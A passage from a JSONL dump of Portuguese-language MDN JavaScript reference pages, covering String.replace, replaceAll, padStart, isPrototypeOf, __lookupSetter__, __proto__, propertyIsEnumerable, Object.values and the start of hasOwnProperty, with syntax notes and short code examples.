exemplo, se a string for 'abcd' e a string a ser encontrada for 'bc', então este parâmetro terá o valor 1. |\n| `string` | A string completa que está sendo examinada. |\n\n(O número exato de argumentos dependerá se o primeiro parâmetro for uma `RegExp` e de quantas combinações entre parênteses houver).\n\nO exemplo a seguir irá substituir o valor de `newString` para `'abc - 12345 - #$*%'`:\n\n\n```js\nfunction replacer(match, p1, p2, p3, offset, string) {\n  // p1 não possui digitos,\n  // p2 possui dígitos, e p3 não possui alfanuméricos\n  return [p1, p2, p3].join(\" - \");\n}\nvar newString = \"abc12345#$\\*%\".replace(/([^\\d]\\*)(\\d\\*)([^\\w]\\*)/, replacer);\n\n// retorna \"abc - 12345 - #$\\*%\"\n```\n\nExemplos\n--------\n\n### Definindo uma expressão regular com `replace()`\n\nNo exemplo a seguir foi definida uma expressão regular com a flag \"`i`\" (que ignora diferenças entre maiúsculas e minúsculas) no método `replace()`.\n\n\n```js\nvar str = \"Twas the night before Xmas...\";\nvar newstr = str.replace(/xmas/i, \"Christmas\");\n\nconsole.log(newstr);\n// retorna \"Twas the night before Christmas...\"\n```\n\n\n**Nota:** Veja este guia para maiores explicações as sobre expressões regulares.\n\n### Usando `global` e `ignore` com `replace()`\n\nSubstituir globalmente, \"`g`\", só pode ser feito com uma expressão regular. No exemplo a seguir, a expressão regular inclui as flags global e ignore que permitem a função `replace()` substituir cada \"`maçãs`\" por \"`laranjas`\" na string.\n\n\n```js\nvar re = /maçãs/gi;\nvar str = \"As maçãs são redondas. As maçãs são suculentas.\";\nvar newstr = str.replace(re, \"laranjas\");\n\nconsole.log(newstr);\n// retorna\n// \"As laranjas são redondas. As laranjas são suculentas.\"\n```\n\n### Trocando palavras em uma string\n\nO script a seguir troca as palavras na string. Para o texto que vai substituir, o script usa grupos de captura (en-US) e os padrões de substituição `$1` e `$2`.\n\n\n```js\nvar re = /(\\w+)\\s(\\w+)/;\nvar str = \"John Smith\";\nvar newstr = str.replace(re, \"$2, $1\");\nconsole.log(newstr); // Smith, John\n```\n\n### Usando uma função que modifica os caracteres coincidentes\n\nNeste exemplo, todas as ocorrências de letras maiúsculas na string são convertidas em minúsculas e um hífen é inserido antes do local de correspondência. O importante aqui é que é necessário uma operação adicional no item antes dele ser retornado como substituído.\n\nA função de substituição aceita a string coincidida como parâmetro e usa ela para transformar os caracteres e concatenar um hífen antes de retornar.\n\n\n```js\nfunction styleHyphenFormat(propertyName) {\n  function upperToHyphenLower(match, offset, string) {\n    return (offset ? \"-\" : \"\") + match.toLowerCase();\n  }\n  return propertyName.replace(/[A-Z]/g, upperToHyphenLower);\n}\n```\n\n\nDado o seguinte parâmetro: `styleHyphenFormat('borderTop')`, o valor retornado é '`border-top`'.\n\nComo queremos transformar o resultado da coincidencia antes da substituição final, nós devemos usar uma função. Isto força que a transformação seja feita antes da chamada do método `toLowerCase()`. Se tivéssemos tentado isto sem a função, o método `toLowerCase()` não teria efeito.\n\n\n```js\nlet newString = propertyName.replace(/[A-Z]/g, \"-\" + \"$&\".toLowerCase()); // não funciona\n```\n\n\nIsso acontece porque `'$&'.toLowerCase()` será executada antes (resultando no mesmo que `'$&'`) em vez de usar os caracteres da string a ser transformada.\n\n### Substituindo graus Fahrenheit em Celsius\n\nO exemplo a seguir converte graus Fahrenheit em Celsius. O grau Fahrenheit deve ser um número terminado com \"`F`\". A função retorna o número em Celsius terminando em \"`C`\". Por exemplo, se o valor de entrada for \"`212F`\", a função deve retornar \"`100C`\". Se o número for \"`0F`\", a função deve retornar \"`-17.77777777777778C`\".\n\nA expressão regular `test` verifica por números que terminem com \"`F`\". O número de graus Fahrenheit é acessível pela função pelo segundo parâmetro, `p1`. A função calcula o Celsius baseado no Fahrenheit passado via string para a função `f2c()`. A `f2c()` então retorna o número em Celsius.\n\n\n```js\nfunction f2c(x) {\n  function convert(str, p1, offset, s) {\n    return ((p1 - 32) \\* 5) / 9 + \"C\";\n  }\n  var s = String(x);\n  var test = /(-?\\d+(?:\\.\\d\\*)?)F\\b/g;\n  return s.replace(test, convert);\n}\n```\n\n### Use uma função com expressão regular para evitar loops for\n\nO exemplo a seguir pega um padrão de string e converte em um array de objetos.\n\n**Entrada:**\n\nUma string com caracteres: `x`, `-` e `_`\n```\n\nx-x_\nx---x---x---x---\nx-xxx-xx-x-\nx_x_x___x___x___\n```\n\n\n**Saída:**\n\nUm array de objetos. Um `'x'` denota um estado `'on'`, um `'-'` (hífen) denota um estado `'off'` e um `'_'` (underline) denota o comprimento do estado `'on'`.\n```\n\n[\n  { on: true, length: 1 },\n  { on: false, length: 1 },\n  { on: true, length: 2 }\n  ...\n]\n```\n\n\n**Código:**\n\n\n```js\nvar str = \"x-x\\_\";\nvar retArr = [];\nstr.replace(/(x\\_\\*)|(-)/g, function (match, p1, p2) {\n  if (p1) {\n    retArr.push({ on: true, length: p1.length });\n  }\n  if (p2) {\n    retArr.push({ on: false, length: 1 });\n  }\n});\n\nconsole.log(retArr);\n```\n\n\nO código gera um array de 3 objetos como desejado sem usar uma função de loop.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.replace |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.match()`\n* `RegExp.prototype.exec()`\n* `RegExp.prototype.test()`"}
{"title":"String.prototype.replaceAll() - JavaScript","text":"String.prototype.replaceAll()\n=============================\n\nO método `replaceAll()` retorna uma nova string com todas as ocorrências de um padrão substituídas por uma substituição. O padrão pode ser uma string ou uma `RegExp`, e a substituição pode ser uma string ou uma função a ser chamada para cada ocorrência.\n\nA *string* original é mantida sem modificação.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nconst newStr = str.replaceAll(regexp|substr, newSubstr|function)\n```\n\n\n**Nota:** quando usar uma `regexp`, você deve colocar o sinalizador (flag) global \"`g`\". Do contrário, será retornado um `TypeError`: \"*replaceAll must be called with a global RegExp*\".\n\n### Parâmetros\n\n`regexp` (padrão)\n\nUma `RegExp` ou literal com o sinalizador (flag) global. As ocorrências serão substituídas por *`newSubstr`* ou pelo valor retornado da *`function`* (função) especificada.\n\n`substr` (padrão)\n\nUma `String` que deve ser substituída por `newSubstr`. É tratada como uma string literal e não é interpretada como uma expressão regular (*`RegExp`*).\n\n`newSubstr` (substituição)\n\nÉ a `String` que substitui a `substring` especificada pelo parâmetro `regexp` ou `substr`. Um número de padrões especiais para substituição são suportados; veja a seção \"\n\nEspecificando uma string como parâmetro\n\n\" abaixo.\n\n`function` (substituição)\n\nUma função a ser chamada retornando a nova `substring` a ser usada para substituir as correspondências para a dada `regexp` ou `substr`. Os argumentos passados para esta função são descritos na seção \"Especificando uma função como parâmetro\" abaixo.\n\n### Valor de retorno\n\nUm nova *string*, com todas as ocorrências de um padrão substituído por uma substituição.\n\nDescrição\n---------\n\nEste método não muda o objeto `String` original. Ele simplesmente retorna uma nova *string*.\n\n### Especificando uma string como parâmetro\n\nA *string* de substituição pode incluir os seguimentos padrões especiais de substituição:\n\n| Padrão | Insere |\n| --- | --- |\n| `$$` | Insere um `\"$\"`. |\n| `$&` | Insere a *substring* correspondente. |\n| `$`` | Insere a porção da *string* que precede a *substring* correspondente. |\n| `$'` | Insere a porção da *string* que sucede a *substring* correspondente. |\n| `$n` | Onde `n` é um inteiro positivo menor que 100, insere a *`n`*-ésima *string* submatch entre parênteses, desde que o primeiro argumento seja um objeto `RegExp`. Note que isso é indexado começando pelo `1`. |\n\n### Especificando uma função como parâmetro\n\nVocê pode especificar uma função como segundo parâmetro. Neste caso, a função será chamada depois da ocorrência ter sido encontrada. O resultado da função (valor de retorno) será usado como uma *string* para substituição. (**Nota:** Os padrões especiais mencionados acima **não se aplicam** neste caso.)\n\nNote que a função será chamada múltiplas vezes para cada ocorrência a ser substituída se a expressão regular no primeiro parâmetro for global \"`g`\".\n\nOs argumentos para funções são os seguintes:\n\n| Nome possível | Valor fornecido |\n| --- | --- |\n| `match` | A *substring* correspondida. (Corresponde ao `$&` acima.) |\n| `p1, p2, ...` | A *n*-ésima string encontrada por um grupo de captura entre parênteses, desde que o primeiro argumento para `replace()` seja uma `RegExp`. (Corresponde a `$1`, `$2`, etc. acima.) Por exemplo, se `/(\\a+)(\\b+)/`, foi dado, `p1` é a correspondência para `\\a+`, e `p2` para `\\b+`. |\n| `offset` | O deslocamento da substring correspondente em toda a string sendo examinada. (Por exemplo, se toda a string for '`abcd`' e a substring correspondente for '`bc`', este argumento será `1`.) |\n| `string` | A *string* inteira será examinada. |\n\n(O número exato de argumentos depende se o primeiro argumento é um objeto `RegExp` — e, se então, quantas *subcorrespondências* entre parênteses são especificadas.)\n\nExemplos\n--------\n\n### Usando `replaceAll()`\n\n\n```js\n\"aabbcc\".replaceAll(\"b\", \".\");\n// 'aa..cc'\n```\n\n### RegExp sem flag \"g\" retorando erro\n\nAo usar uma expressão regular para realizar uma pesquisa, a mesma deve conter a flag global \"`g`\". O código abaixo não irá funcionar:\n\n\n```js\n'aabbcc'.replaceAll(/b/, '.');\nTypeError: replaceAll must be called with a global RegExp\n```\n\n\nJá o código abaixo vai funcionar:\n\n\n```js\n\"aabbcc\".replaceAll(/b/g, \".\");\n(\"aa..cc\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.replaceall |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.replace()`\n* `String.prototype.match()`\n* `RegExp.prototype.exec()`\n* `RegExp.prototype.test()`"}
{"title":"String.prototype.padStart() - JavaScript","text":"String.prototype.padStart()\n===========================\n\nO método `padStart()` preenche a string original com um determinado caractere, ou conjunto de caracteres, (várias vezes, se necessário) até que a string resultante atinja o comprimento fornecido. O preenchimento é aplicado antes do primeiro caractere da string original. A string original não é modificada.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.padStart(targetLength [, padString])\n```\n\n### Parâmetros\n\n`targetLength`\n\nO comprimento da string resultante uma vez que a string alvo tenha sido preenchida. Caso seu valor seja menor do que o comprimento da string alvo, é retornado a própria string alvo, sem alterações.\n\n`padString`\n\nOpcional. O caractere, ou caracteres, que deve preencher a string alvo. Caso o comprimento dessa essa string de preenchimento seja superior ao `targetLength`, ela será truncada a partir da direita. O valor padrão é `\" \"` (`U+0020 'SPACE'`).\n\n### Valor de retorno\n\nUma `String` de comprimento específico com uma string de preenchimento aplicada a partir do seu início.\n\nExemplos\n--------\n\n### Exemplos básicos\n\n\n```js\n\"abc\".padStart(10); // \" abc\"\n\"abc\".padStart(10, \"foo\"); // \"foofoofabc\"\n\"abc\".padStart(6, \"123465\"); // \"123abc\"\n\"abc\".padStart(8, \"0\"); // \"00000abc\"\n\"abc\".padStart(1); // \"abc\"\n```\n\nPolyfill\n--------\n\nAo executar o seguinte código antes de qualquer outro código é criado o método `String.prototype.padStart()`, em casos onde ele não está disponível nativamente:\n\n\n```js\n// https://github.com/uxitten/polyfill/blob/master/string.polyfill.js\n// https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/String/padStart\nif (!String.prototype.padStart) {\n  String.prototype.padStart = function padStart(targetLength, padString) {\n    targetLength = targetLength >> 0; //truncate if number, or convert non-number to 0;\n    padString = String(typeof padString !== \"undefined\" ? padString : \" \");\n    if (this.length >= targetLength) {\n      return String(this);\n    } else {\n      targetLength = targetLength - this.length;\n      if (targetLength > padString.length) {\n        padString += padString.repeat(targetLength / padString.length); //append to original to ensure we are longer than needed\n      }\n      return padString.slice(0, targetLength) + String(this);\n    }\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.padstart |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.padEnd()`"}
{"title":"Object.prototype.isPrototypeOf() - JavaScript","text":"Object.prototype.isPrototypeOf()\n================================\n\nO método **`isPrototypeOf()`** checa se um objeto existe em na cadeia de protótipos de um outro objeto.\n\n**Nota:** `isPrototypeOf()` difere do operador `instanceof`. Na expressão \"`objeto instanceof UmaFuncaoQualquer`\", a cadeia de protótipos do `objeto` é comparada com `UmaFuncaoQualquer.prototype`, e não com a própria função `UmaFuncaoQualquer`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nprototypeObj.isPrototypeOf(objeto)\n```\n\n### Parâmetros\n\n`objeto`\n\nObjeto no qual será feito uma busca na cadeia de protótipos.\n\n### Retorno\n\nUm `Boolean` indicando se prototypeObj está na cadeia de protótipos do objeto.\n\n### Erros possíveis\n\n`TypeError`\n\nUm `TypeError` é mostrado se `prototypeObj` é *undefined* ou *null*.\n\nDescrição\n---------\n\nO método `isPrototypeOf()` lhe permite checar se um objeto está ou não na cadeia de protótipos (cadeia hieráquica) de um outro objeto.\n\nEm outras palavras, você pode descobrir se um objeto x (já instanciado) é herdeiro de um objeto y.\n\nExemplos\n--------\n\nEste exemplo demonstra que `Baz.prototype`, `Bar.prototype`, `Foo.prototype` e `Object.prototype` estão na cadeia de protótipos de `baz` , ou seja, baz herda atributos de Baz, Bar e Foo:\n\n\n```js\nfunction Foo() {}\nfunction Bar() {}\nfunction Baz() {}\n\nBar.prototype = Object.create(Foo.prototype);\nBaz.prototype = Object.create(Bar.prototype);\n\nconst foo = new Foo();\nconst bar = new Bar();\nconst baz = new Baz();\n\n// cadeia de protótipos:\n// foo: Foo <- Object\n// bar: Bar <- Foo <- Object\n// baz: Baz <- Bar <- Foo <- Object\nconsole.log(Baz.prototype.isPrototypeOf(baz)); // true\nconsole.log(Baz.prototype.isPrototypeOf(bar)); // false\nconsole.log(Baz.prototype.isPrototypeOf(foo)); // false\nconsole.log(Bar.prototype.isPrototypeOf(baz)); // true\nconsole.log(Bar.prototype.isPrototypeOf(foo)); // false\nconsole.log(Foo.prototype.isPrototypeOf(baz)); // true\nconsole.log(Foo.prototype.isPrototypeOf(bar)); // true\nconsole.log(Object.prototype.isPrototypeOf(baz)); // true\n```\n\n\nO método`isPrototypeOf()`, junto com o operador `instanceof` vêm a ser útil se você tem um código que só pode funcionar quando estiver lidando com objetos que descendem de uma cadeia de protótipos específicos, por exemplo, para garantir que certos métodos ou propriedades estarão presentes naquele objeto que você precisa.\n\nPor exemplo, checar se o objeto `baz` descende de `Foo.prototype`:\n\n\n```js\nif (Foo.prototype.isPrototypeOf(baz)) {\n  // fazer algo seguramente\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.isprototypeof |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `instanceof`\n* `Object.getPrototypeOf()`\n* `Object.setPrototypeOf()`\n* `Object.prototype.__proto__`"}
{"title":"Object.prototype.__lookupSetter__() - JavaScript","text":"Object.prototype.\\_\\_lookupSetter\\_\\_()\n=======================================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método **`__lookupSetter__`** retorna a função vinculada como *setter* para a propriedade especificada.\n\nSintaxe\n-------\n```\n\nobj.__lookupSetter__(sprop)\n```\n\n### Parâmetros\n\n`sprop`\n\nUma cadeia de caracteres (*string*) contendo o nome da propriedade a qual o *setter* deve ser retornado.\n\n### Valor de retorno\n\nA função vinculada como *setter* para a propriedade especificada.\n\nDescrição\n---------\n\nSe o *setter* foi definido para uma propriedade do objeto, não era possível referenciar a função através da propriedade, porque aquela propriedade se refere ao valor de retorno da função. `__lookupSetter__` pode ser usado para obter a referência para a função *setter*.\n\nÉ possível agora fazer isso de forma padronizada usando `Object.getOwnPropertyDescriptor()`.\n\nExemplos\n--------\n\n### Formas compatíveis e não padronizadas de obter um definidor de propriedades\n\n\n```js\nvar obj = {\n  set foo(value) {\n    this.bar = value;\n  },\n};\n\n// Forma não padronizada e depreciada\nobj.\\_\\_lookupSetter\\_\\_(\"foo\");\n// (function(value) { this.bar = value; })\n\n// Forma compatível padronizada\nObject.getOwnPropertyDescriptor(obj, \"foo\").set;\n// (function(value) { this.bar = value; })\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.\\_\\_lookupSetter\\_\\_ |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.__lookupGetter__()`\n* Operador `set`\n* `Object.getOwnPropertyDescriptor()` e `Object.getPrototypeOf()`\n* `Object.prototype.__defineGetter__()`\n* `Object.prototype.__defineSetter__()`\n* JS Guide: Defining Getters and Setters"}
{"title":"Object.prototype.__proto__ - JavaScript","text":"Object.prototype.\\_\\_proto\\_\\_\n==============================\n\n**Aviso:** **Cuidado:** Alterando o `[[Prototype]]` de um objeto é, pela natureza que as engines do Javascript modernos otimizam os acessos à propriedades, uma operação muito lenta, em \\*\\**TODOS* \\*\\*os mecanismos browsers e JavaScript. Os efeitos no desempenho de alteração na herança são sutis e distantes, e não se limitam simplesmente ao tempo gasto em na declaração `obj.__proto__ = ...`, mas podem se estender para ***qualquer*** código que tenha acesso a ***qualquer*** objeto cujo `[[Prototype]]` foi alterado. Se você se preocupa com desempenho, evite configurar o `[[Prototype]]` de um objeto. Ao invés disso, crie um novo objeto com o `[[Prototype]]` desejado usando `Object.create()`.\n\n**Aviso:** **Cuidado:** Enquanto `Object.prototype.__proto__` é suportado hoje em dia em quase todos os navegadores, a existência e o comportamento exato foram padronizados na especificação ECMAScript 2015 como um recurso legado para assegurar compatibilidade com os navegadores. Para melhor suporte, recomenda-se que apenas `Object.getPrototypeOf()` seja usado em vez disso.\n\nA propriedade `__proto__` de `Object.prototype` (en-US) é uma propriedade de acesso (uma função getter e uma setter) que expõe o interno `[[Prototype]]` (ou um objeto ou `null`) de um objeto o qual é acessado.\n\nO uso de `__proto__` é controverso, e foi desencorajado. Nunca foi incluído originalmente na especificação do idioma EcmaScript, mas os navegadores modernos decidiram implementá-lo de qualquer maneira. Somente recentemente, a propriedade `__proto__` foi padronizada na especificação de linguagem ECMAScript 2015 para navegadores para garantir compatibilidade, e então ser suportada no futuro. É obsoleta a favor de `Object.getPrototypeOf`/`Reflect.getPrototypeOf` (en-US) e `Object.setPrototypeOf`/`Reflect.setPrototypeOf` (en-US) (embora ainda, definir `[[Prototype]]` é uma operação lenta que deve ser evitada se o desempenho for uma preocupação).\n\nA propriedade `__proto__` também pode ser usada em uma definição literal de objeto para definir o objeto `[[Prototype]]` na criação, como uma alternativa para `Object.create()`. Veja: object initializer / literal syntax.\n\nSintaxe\n-------\n\n\n```js\nvar shape = {};\nvar circle = new Circle();\n\n// Define o objeto prototype.\n// OBSOLETO. Isto é somente exemplo. NÃO FAÇA ISSO em código real.\nshape.__proto__ = circle;\n\n// Retorna o objeto prototype\nconsole.log(shape.__proto__ === circle); // true\n```\n\n\n\n```js\nvar shape = function () {};\nvar p = {\n  a: function () {\n    console.log(\"aaa\");\n  },\n};\nshape.prototype.__proto__ = p;\n\nvar circle = new shape();\n\ncircle.a(); //aaa\n\nconsole.log(shape.prototype === circle.__proto__); //true\n\n//ou\n\nvar shape = function () {};\nvar p = {\n  a: function () {\n    console.log(\"a\");\n  },\n};\n\nvar circle = new shape();\ncircle.__proto__ = p;\n\ncircle.a(); // a\n\nconsole.log(shape.prototype === circle.__proto__); //false\n\n//ou\n\nfunction test() {}\ntest.prototype.myname = function () {\n  console.log(\"myname\");\n};\nvar a = new test();\n\nconsole.log(a.__proto__ === test.prototype); //true\n\na.myname(); //myname\n\n//ou\n\nvar fn = function () {};\nfn.prototype.myname = function () {\n  console.log(\"myname\");\n};\n\nvar obj = {\n  \\_\\_proto\\_\\_: fn.prototype,\n};\n\nobj.myname(); //myname\n```\n\n\nNota: são dois underscores(underlines), seguidos de cinco caracteres \"proto\", seguidos por mais dois underscores(underlines).\n\nDescrição\n---------\n\nA função getter de `__proto__` expõe o valor interno de `[[Prototype]]` de um objeto. Para objetos criado usando um objeto literal, este valor é `Object.prototype` (en-US). Para os objetos criados usando literais de matrizes, esse valor é `Array.prototype`. Para funções, esse valor é `Function.prototype` (en-US). Para objeto criados usando `new fun`, onde `fun` é uma função construtora built-in fornecida pelo JavaScript (`Array`, `Boolean`, `Date`, `Number`, `Object`, `String`, e assim por diante — incluindo novos construtores adicionados como evolução do JavaScript), este valor é sempre `fun.prototype`. Para objetos criados usando `new fun`, onde `fun` é uma função definida em um script, esse valor é o valor de `fun.prototype`. (Ou seja, se o construtor não retornou um outro objeto explicitamente, ou o `fun.prototype` foi reatribuído desde que a instância foi criada).\n\nO setter `__proto__` permite ao `[[Prototype]]` de um objeto sejá mutável. O objeto deve ser extensível de acordo com `Object.isExtensible()`: se não for, um erro `TypeError` é emitido. O valor fornecido deve ser um objeto ou `null`. Fornecer qualquer outro valor não fará nada.\n\nPara entender como os prototypes são usados para herança, veja o artigo:Inheritance and the prototype chain.\n\nA propriedade `__proto__` é simplesmente uma propriedade acessora `Object.prototype` (en-US) consistindo de uma função getter e setter. Um acesso de propriedade para `__proto__` que eventualmente consulte `Object.prototype` (en-US) irá encontrar esta propriedade, mas um acesso que não consulta `Object.prototype` (en-US) não a encontrará. Se alguma outra propriedade `__proto__` for encontrada antes de consultar `Object.prototype` (en-US), essa propriedade irá ocultar a que encontrou `Object.prototype` (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.\\_\\_proto\\_\\_ |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas de compatibilidade\n------------------------\n\nEnquanto a especificação ECMAScript 2015 dita que o suporte para `__proto__` é requerido *somente* para navegadores (apesar de ser normativo), outros ambientes podem suportar também para uso legado.\n\nVeja também\n-----------\n\n* `Object.prototype.isPrototypeOf()`\n* `Object.getPrototypeOf()`\n* `Object.setPrototypeOf()`"}
{"title":"Object.prototype.propertyIsEnumerable() - JavaScript","text":"Object.prototype.propertyIsEnumerable()\n=======================================\n\nO método **`propertyIsEnumerable()`** retorna um booleano indicando quando a propriedade especificada é enumerável e é a propriedade do próprio objeto\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nobj.propertyIsEnumerable(prop)\n```\n\n### Parâmetros\n\n`prop`\n\nO nome da propriedade para teste\n\n### Valor de Retorno\n\nO `Boolean` indicando se a propriedade especificada é enumeravel e é a propriedade do objeto\n\nDescrição\n---------\n\nEvery object has a `propertyIsEnumerable` method. This method can determine whether the specified property in an object can be enumerated by a `for...in` loop, with the exception of properties inherited through the prototype chain. If the object does not have the specified property, this method returns `false`.\n\nExemplos\n--------\n\n### O uso basico de `propertyIsEnumerable`\n\nO exemplos a seguir mostram o uso de `propertyIsEnumerable` em um objeto e um array:\n\n\n```js\nvar o = {};\nvar a = [];\no.prop = \"is enumerable\";\na[0] = \"is enumerable\";\n\no.propertyIsEnumerable(\"prop\"); // returns true\na.propertyIsEnumerable(0); // returns true\n```\n\n### Objetos User-defined vs. built-in\n\nOs exemplos a seguir demostram a enumerabilidade da propriedade user-defined vs. built-in :\n\n\n```js\nvar a = [\"is enumerable\"];\n\na.propertyIsEnumerable(0); // returns true\na.propertyIsEnumerable(\"length\"); // returns false\n\nMath.propertyIsEnumerable(\"random\"); // returns false\nthis.propertyIsEnumerable(\"Math\"); // returns false\n```\n\n### Propriedade Direct vs. inherited\n\n\n```js\nvar a = [];\na.propertyIsEnumerable(\"constructor\"); // returns false\n\nfunction firstConstructor() {\n  this.property = \"is not enumerable\";\n}\n\nfirstConstructor.prototype.firstMethod = function () {};\n\nfunction secondConstructor() {\n  this.method = function () {\n    return \"is enumerable\";\n  };\n}\n\nsecondConstructor.prototype = new firstConstructor();\nsecondConstructor.prototype.constructor = secondConstructor;\n\nvar o = new secondConstructor();\no.arbitraryProperty = \"is enumerable\";\n\no.propertyIsEnumerable(\"arbitraryProperty\"); // returns true\no.propertyIsEnumerable(\"method\"); // returns true\no.propertyIsEnumerable(\"property\"); // returns false\n\no.property = \"is enumerable\";\n\no.propertyIsEnumerable(\"property\"); // returns true\n\n// These return false as they are on the prototype which\n// propertyIsEnumerable does not consider (even though the last two\n// are iteratable with for-in)\no.propertyIsEnumerable(\"prototype\"); // returns false (as of JS 1.8.1/FF3.6)\no.propertyIsEnumerable(\"constructor\"); // returns false\no.propertyIsEnumerable(\"firstMethod\"); // returns false\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.propertyisenumerable |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Enumerability and ownership of properties\n* `for...in`\n* `Object.keys()`\n* `Object.defineProperty()`"}
{"title":"Object.values() - JavaScript","text":"Object.values()\n===============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO método **`Object.values()`** retorna um array com os valores das propriedades de um dado objeto, na mesma ordem provida pelo `for...in` laço (sendo a diferença que o laço for-in também enumera as propriedades na cadeia prototype).\n\nSintaxe\n-------\n```\n\nObject.values(obj)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto cujos valores das propriedades enumeradas serão retornados.\n\n### Valor de retorno\n\nUm array contendo os valores das propriedades enumeradas do dado objeto.\n\nDescrição\n---------\n\n`Object.values()` retorna um array cujos elementos são os valores das propriedades enumeradas encontradas no objeto. A ordem das propriedades é a mesma que a dada pelo laço sobre os valores da propriedade do objeto manualmente.\n\nExemplos\n--------\n\n\n```js\nvar obj = { foo: \"bar\", baz: 42 };\nconsole.log(Object.values(obj)); // ['bar', 42]\n\n// array como objeto\nvar obj = { 0: \"a\", 1: \"b\", 2: \"c\" };\nconsole.log(Object.values(obj)); // ['a', 'b', 'c']\n\n// array como objeto com ordenação de chave aleatória\nvar an_obj = { 100: \"a\", 2: \"b\", 7: \"c\" };\nconsole.log(Object.values(an_obj)); // ['b', 'c', 'a']\n\n// getFoo é a propriedade a qual não é enumerável\nvar my_obj = Object.create(\n  {},\n  {\n    getFoo: {\n      value: function () {\n        return this.foo;\n      },\n    },\n  },\n);\nmy_obj.foo = \"bar\";\nconsole.log(Object.values(my_obj)); // ['bar']\n\n// argumento não-objeto será coagido num objeto\nconsole.log(Object.values(\"foo\")); // ['f', 'o', 'o']\n```\n\nBiblioteca de Suporte\n---------------------\n\n`Para adicionar compatibilidade ao suporte de Object.values` em ambientes antigos que nativamente não o suportam, você pode encontrar uma biblioteca de suporte nos repositórios tc39/proposal-object-values-entries ou no es-shims/Object.values.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.values |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Enumerability and ownership of properties\n* `Object.keys()`\n* `Object.entries()` \nExperimental\n* `Object.prototype.propertyIsEnumerable()`\n* `Object.create()`\n* `Object.getOwnPropertyNames()`"}
{"title":"Object.prototype.hasOwnProperty() - JavaScript","text":"Object.prototype.hasOwnProperty()\n=================================\n\nResumo\n------\n\nO método **`hasOwnProperty()`** retorna um booleano indicando se o objeto possui a propriedade especificada como uma propriedade definida no próprio objeto em questão (ao contrário de uma propriedade herdada).\n\nSintaxe\n-------\n```\n\nobj.hasOwnProperty(prop)\n```\n\n### Parâmetros\n\n`prop`\n\nUma `String` ou symbol indicando o nome da propriedade a ser verificada.\n\n### Valor de Retorno\n\nUm `booleano` indicando se o objeto possui ou não a propriedade especificada como uma propriedade do próprio objeto e que a propriedade não é uma propriedade herdada.\n\nDescrição\n---------\n\nTodo objeto descendente de `Object` herda o método `hasOwnProperty`. Este método pode ser usado para determinar se um objeto possui a propriedade especificada como propriedade direta do objeto.\n\nDiferentemente do operador `in`, este método não checa a cadeia prototípica do objeto.\n\nNota\n----\n\no método `hasOwnProperty` retorna `true` mesmo se o valor da propridade em questão é `null` ou `undefined`\n```\n\no = new Object();\no.propUm = null;\no.hasOwnProperty('propUm'); // retorna true\no.propDois = undefined;\no.hasOwnProperty('propDois'); // retorna true\n```\n\nExemplos\n--------\n\n### Usando `hasOwnProperty` para testar a existência de uma propriedade\n\nO seguinte exemplo determina se o objeto `o` possui uma propriedade com o nome `prop`:\n```\n\no = new Object();\no.hasOwnProperty('prop'); // retorna false\no.prop = 'existe';\no.hasOwnProperty('prop'); // retorna true\n```\n\n### Propriedades Diretas vs Propriedades Herdadas\n\nO seguinte exemplo diferencia entre propriedade diretas e propriedade herdadas da cadeia prototípica:\n\n\n```js\no = new Object();\no.prop = \"existe\";\no.hasOwnProperty(\"prop\"); // Retorna true\no.hasOwnProperty(\"toString\"); // Retorna false\no.hasOwnProperty(\"hasOwnProperty\"); // Retorna false\n```\n\n### Percorrer através das propriedades de um objeto\n\nO seguinte exemplo mostra como percorrer as propriedade de um objeto sem executar as propriedade herdadas.\n\nVale observar que o loop `for...in` percorre somente itens enumeráveis. Entretanto, o método hasOwnProperty também funciona com propriedades não enumeráveis.\n\n\n```js\nvar buz = {\n  fog: 